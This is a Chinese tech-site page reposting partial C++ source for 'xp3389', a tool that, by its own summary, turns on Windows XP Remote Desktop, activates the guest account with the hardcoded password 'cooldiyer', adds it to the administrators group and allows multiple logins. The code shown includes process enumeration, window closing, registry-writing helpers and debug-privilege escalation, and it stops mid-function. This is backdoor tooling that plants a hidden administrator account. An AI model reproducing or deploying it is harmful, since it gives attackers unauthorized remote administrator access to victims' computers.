首页 电脑 电脑学堂 查看内容

xp双开3389源程序

2009-5-15 11:33 1090 0

摘要:   XP的终端自动开启激活guest,密码为cooldiyer,加管理员组,并且可以多用户登录。  Code:  // xp3389.cpp : XP下双开3389的工具 Code By CoolDi...
关键词: nbsp DWORD SUCCESS HKEY ERROR MainKey TokenPrivileges NULL iResult PRIVILEGES

  XP的终端自动开启激活guest,密码为cooldiyer,加管理员组,并且可以多用户登录。  Code:  // xp3389.cpp : XP下双开3389的工具 Code By CoolDiyer  //  #pragma comment(linker, "/FILEALIGN:0x200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")  #include "stdafx.h"  #include "resource.h"  #include <windows.h>  #include <tlhelp32.h>  DWORD  GetProcessId(LPCTSTR szProcName)  {  PROCESSENTRY32 pe;  DWORD dwPid;  DWORD dwRet;  BOOL bFound = FALSE;  HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  if (hSP)  {  pe.dwSize = sizeof( pe );  for (dwRet = Process32First(hSP, &pe);  dwRet;  dwRet = Process32Next(hSP, &pe))  {  if (lstrcmpi( szProcName, pe.szExeFile) == 0)  {  dwPid = pe.th32ProcessID;  bFound = TRUE;  break;  }  }  CloseHandle(hSP);  if (bFound == TRUE)  {  return dwPid;  }  }  return NULL;  }  bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)  {  if (!IsWindowVisible(hwnd))  return true;  DWORD dwWindowThreadId = NULL;  DWORD   dwLsassId = (DWORD)lParam;  GetWindowThreadProcessId(hwnd, &dwWindowThreadId);  if (dwWindowThreadId == (DWORD)lParam)  {  // 关闭指定进程的窗口  SendMessage(hwnd, WM_CLOSE, 0, 0);  }  return true;  }  // 写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) from NameLess114  int WriteRegEx(HKEY MainKey, LPCTSTR SubKey, LPCTSTR Vname, DWORD Type, char* szData, DWORD dwData, int Mode)  {  HKEY   hKey;  DWORD dwDisposition;  int   iResult =0;  __try  {  // SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);  switch(Mode)  {  case 0:  if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)  __leave;  case 1:  if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)  __leave;  switch(Type)  {  case REG_SZ:  case REG_EXPAND_SZ:  if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)  iResult =1;  break;  case REG_DWORD:  if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)  iResult =1;  break;  case REG_BINARY:  break;  }  break;  case 2:  if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)  __leave;  if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)  iResult =1;  break;  case 3:  if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)  __leave;  if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)  iResult =1;  break;  }  }  __finally  {  RegCloseKey(MainKey);  RegCloseKey(hKey);  }  return iResult;  }  bool DebugPrivilege(const char *PName, BOOL bEnable)  {  BOOL               bResult = TRUE;  HANDLE             hToken;  TOKEN_PRIVILEGES   TokenPrivileges;  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))  {  bResult = FALSE;  return bResult;  }  TokenPrivileges.PrivilegeCount = 1;  TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;  LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);  AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);  if (GetLastError() != ERROR_SUCCESS)  {  bResult = FALSE;  }
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部